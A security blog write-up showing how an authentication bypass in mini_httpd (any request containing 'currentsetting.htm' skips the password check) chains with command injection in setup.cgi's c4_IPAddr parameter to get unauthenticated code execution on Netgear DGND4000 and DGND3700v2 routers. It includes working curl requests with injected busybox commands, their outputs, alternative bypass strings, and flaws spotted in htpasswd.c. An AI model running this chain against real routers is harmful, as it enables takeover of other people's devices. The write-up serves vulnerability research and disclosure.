Hello everyone, I wish you in anticipation a beautiful day.

I saw in my twitter feed a link to 0vercl0k’s article that I invite you to read if you haven’t already. I won’t dwell on it, the article is great and very well explained.

The article presents two things, an authentication bypass and a command injection, which allows you to get a full chain remote code execution on router DGND3700v2. We won’t focus on the second point since I had already published an article on it several months ago. Well ok, I’m trolling, but that’s just for fun, I found traces of this from 9 years ago (too bad I could find this only after writing mine).

What I find interesting in his approach is that, by reading his article I think that he has reverse engineered the binary mini_httpd.

Today I will present another method that allows in the case of his router DGND3700v2 and mine DGND4000 to obtain similar results (a full chain RCE). What’s even cooler is that this method allows you to get this result on many old Netgear routers even if you don’t know how to use ida and it is just by reading source code.

wget and that’s it

As the title of this paragraph explains, use wget and the trick is done, at least almost. In fact, the source of many Netgear routers are publicly available for download at the following address:

Let’s take in our case the router DGND4000:

alt text

Let’s take a version of its firmware:

alt text

They are so cool that they give us stuff to compile our own binaries for our target (backdoors for example) which can be really handy. Let’s decompress the sources with the tool tar.

$ tar -xvf DGND4000_V1.1.00.10_WW_src.tar.bz2

And navigate the folder:

  • DGND4000_V1.1.00.10_WW_src

alt text

From the folder DGND4000_V1.1.00.10_WW_src/Source/apps/mini_httpd-1.17beta1/:

$ ls
COPYING  README  haha  index.html  mime_encodings.txt  mini_httpd.c  port.h  tdate_parse.h  
FILES  contrib  htpasswd.1  match.c  mime_types.txt  mini_httpd.cnf  scripts  version.h  
Makefile  exit  htpasswd.c  match.h  mini_httpd.8  mini_httpd.pem  tdate_parse.c

What we are interested in, is the file:

  • DGND4000_V1.1.00.10_WW_src/Source/apps/mini_httpd-1.17beta1/mini_httpd.c

Analysis

Just read the source code.

File: DGND4000_V1.1.00.10_WW_src/Source/apps/mini_httpd-1.17beta1/mini_httpd.c

/* mini_httpd - small HTTP server
**
** Copyright ?1999,2000 by Jef Poskanzer <jef@acme.com>.
** All rights reserved.

    ...

*/

...

static int need_auth = 1;

...

/* Request variables. */
static char *no_check_passwd_paths[]={"currentsetting.htm", "update_setting.htm", "debuginfo.htm",
    "important_update.htm","MNU_top.htm",  "warning_pg.htm",
    "multi_login.html", "htpwd_recovery.cgi", "401_recovery.htm", "401_access_denied.htm",
    NULL};

...

/* This runs in a child process, and exits when done, so cleanup is
** not needed.
*/
static void
handle_request( void )
    {

    ...

    need_auth = 1; /* all of files need auth check by default */

    ...

    if(path_exist(path, no_check_passwd_paths)) {
        need_auth = 0;
        /* for hi-jack page, should allow 2 user access at same time. */
        someone_in_use = 0;
    }

    ...

    }

...

/*
 * Check if @path exist in @paths[].
 * Return 1 ==> Yes, path exist in paths
 *        0 ==> No. Can not find path in paths
 *
 * NOTE: paths[] end with NULL
 */
static int path_exist(char *path, char *paths[]) {
    int i;

    for(i=0; paths[i]; i++) {
        if(strstr(path, paths[i])) {
            return 1;
        }
    }
    /* For these .gif or .css of .js or .xml or .jpg  file, it will be used by other .htm file, and it's no need to request auth for these files.  */
    if( (strstr(path,".gif")!=NULL) || (strstr(path,".css") !=NULL) || (strstr(path,".js") != NULL)
        || (strstr(path,".xml") != NULL)
        || (strstr(path,".jpg") != NULL)
        )
        return 1;

    return 0;
}

...

No need to explain why, we land on our feet and identified the authentication bypass. We can see that the trick is known for quite some time since entries are present on exploit-db since at least 2013 but nothing tells us if it was found by reading source code or not.

POC for router DGND4000

Let’s do a test (without the authentication bypass):

$ proxychains4 -q curl -X GET -vvv -1 -k "https://X_1.X_1.X_1.X_1:8443/setup.cgi"
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying X_1.X_1.X_1.X_1:8443...
* Connected to X_1.X_1.X_1.X_1 (127.0.0.1) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.0 (IN), TLS handshake, Certificate (11):
* TLSv1.0 (IN), TLS handshake, Server finished (14):
* TLSv1.0 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.0 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.0 (OUT), TLS handshake, Finished (20):
* TLSv1.0 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1 / AES256-SHA
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: C=US; ST=California; L=San Jose; O=NETGEAR; OU=Home Consumer Products; CN=www.routerlogin.net
*  start date: Jul 20 10:40:04 2011 GMT
*  expire date: Jul 17 10:40:04 2021 GMT
*  issuer: C=US; ST=California; L=San Jose; O=NETGEAR; OU=Home Consumer Products; CN=www.routerlogin.net
*  SSL certificate verify result: self signed certificate (18), continuing anyway.
> GET /setup.cgi HTTP/1.1
> Host: X_1.X_1.X_1.X_1:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server:
< Date: Thu, 24 Mar 2022 17:53:45 GMT
< WWW-Authenticate: Basic realm="NETGEAR DGND4000"
< Content-Type: text/html
< P3P: 8443
< Connection: close
<
<script> top.location.href="401_access_denied.htm"</script>

</BODY>
</HTML>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):

Let’s do another test (with the authentication bypass):

$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_1.X_1.X_1.X_1:8443/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1"
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying X_1.X_1.X_1.X_1:8443...
* Connected to X_1.X_1.X_1.X_1 (127.0.0.1) port 8443 (#0)

...

> GET /setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1 HTTP/1.1
> Host: X_1.X_1.X_1.X_1:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Cache-Control" content="no-cache"><meta http-equiv="Expires" content="Mon, 06 Jan 1990 00:00:01 GMT"><meta name="description" content="DGND4000_multilangual"><title>NETGEAR Router DGND4000</title><script language="javascript" type="text/javascript" src="string.js"></script><link rel="stylesheet" href="style/form.css"><script language="javascript" type="text/javascript" src="funcs.js"></script><!-- link rel="stylesheet" href="form.css" --><style type="text/javascript">
    classes.num.all.fontFamily = "Courier";
    classes.num.all.fontSize = "10pt" ;
</style><script language="javascript" type="text/javascript" src="utility.js"></script><script language="javascript" type="text/javascript" src="linux.js"></script><script language="javascript" type="text/javascript">
<!-- hide script from old browsers
function refresh()
{
    var t1 = parseInt(document.forms[0].reflash_flag.value, 10);
    if(t1 > 0)
        window.setTimeout("window.location.href='./diagping.htm'",1000);
}
//-->
</script></head><body bgcolor="#ffffff" onLoad="refresh();document.forms[0].elements[1].focus();">
<form name="formname" method="POST" action="setup.cgi?id=3d4a9799" onSubmit="return false">
<div class="page_title" languageCode = "143">Diagnostics - Ping</div>
<div class="fix_button">
<table width="100%" border="0" cellpadding="0" cellspacing="2"><tr><td nowrap colspan="2" align="center">
<input class="cancel_bt" type="button" name="back" value = "Back" onClick="location.href='./diag.htm'" languageCode = "115">
</td></tr></table>
</div>
<div id="main" class="main_top_button">
<table border="0" cellpadding="0" cellspacing="3" width="100%"><tr><td colspan="2" align="center"><b languageCode = "144">Ping Results</b></td>
    </tr><tr><td colspan="2" align="center" class="num"><textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly >
PING 127.0.0.1 (127.0.0.1): 56 data bytes
no need set tos. 0
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.568 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.395 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.402 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.396 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.395/0.440/0.568 ms

</textarea></td>
    </tr><tr><td colspan="2" background="liteblue.gif" height="12"></td>
    </tr><tr><td colspan="2" align="center"></td>
    </tr></table><p></p>
<input type="hidden" name="reflash_flag" value="0"><input type="hidden" name="todo" value="refresh"><input type="hidden" name="this_file" value="diagping.htm"><input type="hidden" name="next_file" value="diagping.htm"><input type="hidden" name="SID" value="">
</div>
</form>
<div id="help" style="display: none">
        <iframe name="help_iframe" id="helpframe" src="diag_h.htm" allowtransparency="true" width="100%" frameborder="0">
        </iframe>
</div>
<div id="help_switch" class="close_help">
     <img class="help_switch_img" src="image/help/help-bar.gif"><script>
var help_flag=0;
if(isIE()){
    show_hidden_help_top_button(1);
    var frame_div = top.document.getElementById("formframe_div");
    frame_div.onresize =  function(){
        if(help_flag == 0)  show_hidden_help_top_button(1);
        else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
if(get_browser() == "Opera"){
    window.onresize =  function(){
        if(help_flag == 0)  show_hidden_help_top_button(1);
        else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
</script><div id="help_space" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_center"><span languageCode="3016">Help Center</span></div>
<div id="help_button" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_show_hidden"><a href="javascript:void(0)" onClick="show_hidden_help_top_button(help_flag); help_flag++;"><span languageCode="3017">Show/Hide Help Center</span></a></div>
</div>
<script language="javascript" type="text/javascript" src="langs.js"></script></body></html>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):

Ok, so there is effectively a change. Now let’s use the command injection within the parameter c4_IPAddr with the following payload:

Authentication bypass:

?foo=currentsetting.htm

Make the request valid:

&next_file=diagping.htm

Effective payload:

&todo=ping_test&c4_IPAddr=127.0.0.1 && /bin/busybox echo POC_1

This gives us the following result:

$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_1.X_1.X_1.X_1:8443/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_1"

Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying X_1.X_1.X_1.X_1:8443...
* Connected to X_1.X_1.X_1.X_1 (127.0.0.1) port 8443 (#0)

...

> GET /setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_1 HTTP/1.1
> Host: X_1.X_1.X_1.X_1:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Cache-Control" content="no-cache"><meta http-equiv="Expires" content="Mon, 06 Jan 1990 00:00:01 GMT"><meta name="description" content="DGND4000_multilangual"><title>NETGEAR Router DGND4000</title><script language="javascript" type="text/javascript" src="string.js"></script><link rel="stylesheet" href="style/form.css"><script language="javascript" type="text/javascript" src="funcs.js"></script><!-- link rel="stylesheet" href="form.css" --><style type="text/javascript">
    classes.num.all.fontFamily = "Courier";
    classes.num.all.fontSize = "10pt" ;
</style><script language="javascript" type="text/javascript" src="utility.js"></script><script language="javascript" type="text/javascript" src="linux.js"></script><script language="javascript" type="text/javascript">
<!-- hide script from old browsers
function refresh()
{
    var t1 = parseInt(document.forms[0].reflash_flag.value, 10);
    if(t1 > 0)
        window.setTimeout("window.location.href='./diagping.htm'",1000);
}
//-->
</script></head><body bgcolor="#ffffff" onLoad="refresh();document.forms[0].elements[1].focus();">
<form name="formname" method="POST" action="setup.cgi?id=538c4451" onSubmit="return false">
<div class="page_title" languageCode = "143">Diagnostics - Ping</div>
<div class="fix_button">
<table width="100%" border="0" cellpadding="0" cellspacing="2"><tr><td nowrap colspan="2" align="center">
<input class="cancel_bt" type="button" name="back" value = "Back" onClick="location.href='./diag.htm'" languageCode = "115">
</td></tr></table>
</div>
<div id="main" class="main_top_button">
<table border="0" cellpadding="0" cellspacing="3" width="100%"><tr><td colspan="2" align="center"><b languageCode = "144">Ping Results</b></td>
    </tr><tr><td colspan="2" align="center" class="num"><textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly >
PING 127.0.0.1 (127.0.0.1): 56 data bytes
no need set tos. 0
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.553 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.402 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.391 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.395 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.391/0.435/0.553 ms
POC_1

</textarea></td>
    </tr><tr><td colspan="2" background="liteblue.gif" height="12"></td>
    </tr><tr><td colspan="2" align="center"></td>
    </tr></table><p></p>
<input type="hidden" name="reflash_flag" value="0"><input type="hidden" name="todo" value="refresh"><input type="hidden" name="this_file" value="diagping.htm"><input type="hidden" name="next_file" value="diagping.htm"><input type="hidden" name="SID" value="">
</div>
</form>
<div id="help" style="display: none">
        <iframe name="help_iframe" id="helpframe" src="diag_h.htm" allowtransparency="true" width="100%" frameborder="0">
        </iframe>
</div>
<div id="help_switch" class="close_help">
     <img class="help_switch_img" src="image/help/help-bar.gif"><script>
var help_flag=0;
if(isIE()){
    show_hidden_help_top_button(1);
    var frame_div = top.document.getElementById("formframe_div");
    frame_div.onresize =  function(){
        if(help_flag == 0)  show_hidden_help_top_button(1);
        else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
if(get_browser() == "Opera"){
    window.onresize =  function(){
        if(help_flag == 0)  show_hidden_help_top_button(1);
        else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
</script><div id="help_space" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_center"><span languageCode="3016">Help Center</span></div>
<div id="help_button" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_show_hidden"><a href="javascript:void(0)" onClick="show_hidden_help_top_button(help_flag); help_flag++;"><span languageCode="3017">Show/Hide Help Center</span></a></div>
</div>
<script language="javascript" type="text/javascript" src="langs.js"></script></body></html>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):

Now that we know the POC is valid for router DGND4000. We should test if it is also valid for router DGND3700v2.

POC for router DGND3700v2

Without the authenticaton bypass:

$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_2.X_2.X_2.X_2:8443/setup.cgi"
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying X_2.X_2.X_2.X_2:8443...
* Connected to X_2.X_2.X_2.X_2 (127.0.0.1) port 8443 (#0)

...

> GET /setup.cgi HTTP/1.1
> Host: X_2.X_2.X_2.X_2:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server:
< Date: Thu, 24 Mar 2022 18:54:20 GMT
< WWW-Authenticate: Basic realm="NETGEAR DGND3700v2"
< Content-Type: text/html
< P3P: 8443
< Connection: close
<
<script> top.location.href="401_access_denied.htm"</script>

</BODY>
</HTML>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):

With the authentication bypass and the payload:

$ proxychains4 -q curl -vvv -X GET -1 -k "https://X_2.X_2.X_2.X_2:8443/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_2"
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying X_2.X_2.X_2.X_2:8443...
* Connected to X_2.X_2.X_2.X_2 (127.0.0.1) port 8443 (#0)

...

> GET /setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_2 HTTP/1.1
> Host: X_2.X_2.X_2.X_2:8443
> User-Agent: curl/7.82.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Cache-Control" content="no-cache"><meta http-equiv="Expires" content="Mon, 06 Jan 1990 00:00:01 GMT"><meta name="description" content="DGND3700v2_multilangual"><title>NETGEAR Router DGND3700v2</title><script language="javascript" type="text/javascript" src="string.js"></script><link rel="stylesheet" href="style/form.css"><script language="javascript" type="text/javascript" src="funcs.js"></script><!-- link rel="stylesheet" href="form.css" --><style type="text/javascript">
    classes.num.all.fontFamily = "Courier";
    classes.num.all.fontSize = "10pt" ;
</style><script language="javascript" type="text/javascript" src="utility.js"></script><script language="javascript" type="text/javascript" src="linux.js"></script><script language="javascript" type="text/javascript">
<!-- hide script from old browsers
function refresh()
{
    var t1 = parseInt(document.forms[0].reflash_flag.value, 10);
    if(t1 > 0)
        window.setTimeout("window.location.href='./diagping.htm'",1000);
}
//-->
</script></head><body bgcolor="#ffffff" onLoad="refresh();document.forms[0].elements[1].focus();">
<form name="formname" method="POST" action="setup.cgi?id=4f5e5a4e" onSubmit="return false">
<div class="page_title" languageCode = "143">Diagnostics - Ping</div>
<div class="fix_button">
<table width="100%" border="0" cellpadding="0" cellspacing="2"><tr><td nowrap colspan="2" align="center">
<input class="cancel_bt" type="button" name="back" value = "Back" onClick="location.href='./diag.htm'" languageCode = "115">
</td></tr></table>
</div>
<div id="main" class="main_top_button">
<table border="0" cellpadding="0" cellspacing="3" width="100%"><tr><td colspan="2" align="center"><b languageCode = "144">Ping Results</b></td>
    </tr><tr><td colspan="2" align="center" class="num"><textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly >
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.613 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.402 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.406 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.405 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.402/0.456/0.613 ms
POC_2

</textarea></td>
    </tr><tr><td colspan="2" background="liteblue.gif" height="12"></td>
    </tr><tr><td colspan="2" align="center"></td>
    </tr></table><p></p>
<input type="hidden" name="reflash_flag" value="0"><input type="hidden" name="todo" value="refresh"><input type="hidden" name="this_file" value="diagping.htm"><input type="hidden" name="next_file" value="diagping.htm"><input type="hidden" name="SID" value="">
</div>
</form>
<div id="help" style="display: none">
        <iframe name="help_iframe" id="helpframe" src="diag_h.htm" allowtransparency="true" width="100%" frameborder="0">
        </iframe>
</div>
<div id="help_switch" class="close_help">
     <img class="help_switch_img" src="image/help/help-bar.gif"><script>
var help_flag=0;
if(isIE()){
    show_hidden_help_top_button(1);
    var frame_div = top.document.getElementById("formframe_div");
    frame_div.onresize =  function(){
        if(help_flag == 0)  show_hidden_help_top_button(1);
        else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
if(get_browser() == "Opera"){
    window.onresize =  function(){
        if(help_flag == 0)  show_hidden_help_top_button(1);
        else{show_hidden_help_top_button(--help_flag);help_flag++;}
};}
</script><div id="help_space" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_center"><span languageCode="3016">Help Center</span></div>
<div id="help_button" onClick="show_hidden_help_top_button(help_flag); help_flag++;"></div>
<div id="help_show_hidden"><a href="javascript:void(0)" onClick="show_hidden_help_top_button(help_flag); help_flag++;"><span languageCode="3017">Show/Hide Help Center</span></a></div>
</div>
<script language="javascript" type="text/javascript" src="langs.js"></script></body></html>
* Closing connection 0
* TLSv1.0 (OUT), TLS alert, close notify (256):

Our POC works too for this router even without specifying GET parameters id and sp.

Conclusion

This exploit can be reused on several models of old Netgear routers. The way to detect if a router is vulnerable can be reduced to the following payload:

/setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1 && /bin/busybox echo POC

I advise you to test different requests by randomly replacing currentsetting.htm by one of these strings:

  • update_setting.htm
  • debuginfo.htm
  • important_update.htm
  • MNU_top.htm
  • warning_pg.htm
  • multi_login.html
  • htpwd_recovery.cgi
  • 401_recovery.htm
  • 401_access_denied.htm

In addition, there are two other command injections into setup.cgi as described in the following articles:

In addition

As I was exploiting vulnerabilities, I used grep to search for potential buffer overlfow. From whitin project mini_httpd-1.17beta1 let’s look the file Makefile.

File: mini_httpd-1.17beta1/Makefile


...

htpasswd:	htpasswd.o
    gcc ${CFLAGS} ${LDFLAGS} htpasswd.o ${CRYPT_LIB} -o htpasswd

htpasswd.o:	htpasswd.c
    gcc ${CFLAGS} -c htpasswd.c

...

Let’s now look at the code of binary htpasswd.

File: mini_httpd-1.17beta1/htpasswd.c

/*
 * htpasswd.c: simple program for manipulating password file for NCSA httpd
 * 
 * Rob McCool
 */

/* Modified 29aug97 by Jef Poskanzer to accept new password on stdin,
** if stdin is a pipe or file.  This is necessary for use from CGI.
*/

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

extern char *crypt(const char *key, const char *setting);

#define LF 10
#define CR 13

#define MAX_STRING_LEN 256

int tfd;
char temp_template[] = "/tmp/htp.XXXXXX";

void interrupted(int);

static char * strd(char *s) {
    char *d;

    d=(char *)malloc(strlen(s) + 1);
    strcpy(d,s);
    return(d);
}

static void getword(char *word, char *line, char stop) {
    int x = 0,y;

    for(x=0;((line[x]) && (line[x] != stop));x++)
        word[x] = line[x];

    word[x] = '\0';
    if(line[x]) ++x;
    y=0;

    while((line[y++] = line[x++]));
}

static int getline(char *s, int n, FILE *f) {
    register int i=0;

    while(1) {
        s[i] = (char)fgetc(f);

        if(s[i] == CR)
            s[i] = fgetc(f);

        if((s[i] == 0x4) || (s[i] == LF) || (i == (n-1))) {
            s[i] = '\0';
            return (feof(f) ? 1 : 0);
        }
        ++i;
    }
}

static void putline(FILE *f,char *l) {
    int x;

    for(x=0;l[x];x++) fputc(l[x],f);
    fputc('\n',f);
}


/* From local_passwd.c (C) Regents of Univ. of California blah blah */
static unsigned char itoa64[] =         /* 0 ... 63 => ascii - 64 */
        "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

static void to64(register char *s, register long v, register int n) {
    while (--n >= 0) {
        *s++ = itoa64[v&0x3f];
        v >>= 6;
    }
}

#ifdef MPE
/* MPE lacks getpass() and a way to suppress stdin echo.  So for now, just
issue the prompt and read the results with echo.  (Ugh). */

char *getpass(const char *prompt) {

static char password[81];

fputs(prompt,stderr);
gets((char *)&password);

if (strlen((char *)&password) > 8) {
  password[8]='\0';
}

return (char *)&password;
}
#endif

static void
add_password( char* user, FILE* f )
    {
    char pass[100];
    char* pw;
    char* cpw;
    char salt[3];

    if ( ! isatty( fileno( stdin ) ) )
	{
	(void) fgets( pass, sizeof(pass), stdin );
	if ( pass[strlen(pass) - 1] == '\n' )
	    pass[strlen(pass) - 1] = '\0';
	pw = pass;
	}
    else
	{
	pw = strd( (char*) getpass( "New password:" ) );
	if ( strcmp( pw, (char*) getpass( "Re-type new password:" ) ) != 0 )
	    {
	    (void) fprintf( stderr, "They don't match, sorry.\n" );
	    if ( tfd != -1 )
		unlink( temp_template );
	    exit( 1 );
	    }
	}
    (void) srandom( (int) time( (time_t*) 0 ) );
    to64( &salt[0], random(), 2 );
    cpw = crypt( pw, salt );
    (void) fprintf( f, "%s:%s\n", user, cpw );
    }

static void usage(void) {
    fprintf(stderr,"Usage: htpasswd [-c] passwordfile username\n");
    fprintf(stderr,"The -c flag creates a new file.\n");
    exit(1);
}

void interrupted(int signo) {
    fprintf(stderr,"Interrupted.\n");
    if(tfd != -1) unlink(temp_template);
    exit(1);
}

int main(int argc, char *argv[]) {
    FILE *tfp,*f;
    char user[MAX_STRING_LEN];
    char line[MAX_STRING_LEN];
    char l[MAX_STRING_LEN];
    char w[MAX_STRING_LEN];
    char command[MAX_STRING_LEN];
    int found;

    tfd = -1;
    signal(SIGINT,(void (*)(int))interrupted);
    if(argc == 4) {
        if(strcmp(argv[1],"-c"))
            usage();
        if(!(tfp = fopen(argv[2],"w"))) {
            fprintf(stderr,"Could not open passwd file %s for writing.\n",
                    argv[2]);
            perror("fopen");
            exit(1);
        }
        printf("Adding password for %s.\n",argv[3]);
        add_password(argv[3],tfp);
        fclose(tfp);
        exit(0);
    } else if(argc != 3) usage();

    tfd = mkstemp(temp_template);
    if(!(tfp = fdopen(tfd,"w"))) {
        fprintf(stderr,"Could not open temp file.\n");
        exit(1);
    }

    if(!(f = fopen(argv[1],"r"))) {
        fprintf(stderr,
                "Could not open passwd file %s for reading.\n",argv[1]);
        fprintf(stderr,"Use -c option to create new one.\n");
        exit(1);
    }
    strcpy(user,argv[2]);

    found = 0;
    while(!(getline(line,MAX_STRING_LEN,f))) {
        if(found || (line[0] == '#') || (!line[0])) {
            putline(tfp,line);
            continue;
        }
        strcpy(l,line);
        getword(w,l,':');
        if(strcmp(user,w)) {
            putline(tfp,line);
            continue;
        }
        else {
            printf("Changing password for user %s\n",user);
            add_password(user,tfp);
            found = 1;
        }
    }
    if(!found) {
        printf("Adding user %s\n",user);
        add_password(user,tfp);
    }
    fclose(f);
    fclose(tfp);
    sprintf(command,"cp %s %s",temp_template,argv[1]);
    system(command);
    unlink(temp_template);
    exit(0);
}

We distinguish the presence of two vulnerabilities:

  1. Command injection through argv[1].
  2. Multiples stack buffer overflow.

Command injection through argv[1]

File: mini_httpd-1.17beta1/htpasswd.c


...

#define MAX_STRING_LEN 256

...

char temp_template[] = "/tmp/htp.XXXXXX";

...

int main(int argc, char *argv[]) {

    ...

    char command[MAX_STRING_LEN];

    ...

    if(argc == 4) {

        ...

    } else if(argc != 3) usage();

    ...

    sprintf(command,"cp %s %s",temp_template,argv[1]);
    system(command);

    ...

}

alt text